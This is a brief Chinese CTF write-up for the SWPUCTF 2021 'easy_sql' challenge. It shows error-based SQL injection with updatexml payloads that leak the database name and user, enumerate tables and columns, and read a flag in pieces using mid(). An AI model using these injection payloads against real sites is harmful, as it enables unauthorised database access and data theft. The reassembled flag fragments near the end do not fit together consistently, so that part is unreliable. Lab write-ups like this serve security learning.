Problem: [SWPUCTF 2021 新生赛]easy_sql
[[toc]]
?wllm=1' and 1=1
?wllm=1' and 1=1--+
?wllm=1' and 1=2--+
发现需要闭合,且sql错误会回显
尝试报错注入
http://node4.anna.nssctf.cn:28332/?wllm=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir%20%20),1)%20--+
//1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir%20 ),1) --+
回显
XPATH syntax error: '~test_db~root@localhost~/var/lib'
//获得数据库
爆表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
//小心这些括号的闭合
回显
XPATH syntax error: '~test_tb,users~'
爆列
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= 'test_tb'),0x7e),1) --+
//回显:
XPATH syntax error: '~id,flag~'
读取字段
' and updatexml(1,concat(0x7e,(select group_concat(flag) from test_db.test_tb),0x7e),1) --+
//发现回显的flag显示不全
XPATH syntax error: '~NSSCTF{74ae7802-6d3e-481e-8a3e-'
https://blog.csdn.net/m0_51183537/article/details/122012622
第一种方法用不了,尝试第二种
//读取1到10位
?wllm= ' and updatexml(1,concat(0x7e,mid((select group_concat(flag) from test_db.test_tb), 1,10),0x7e),1) --+
//回显:
XPATH syntax error: '~NSSCTF{74a~'
//10到20
ae7802-6d3e-481e-8a3
//20到30
7-4435-868a-fa0e449de0af}
拼在一起提交就行
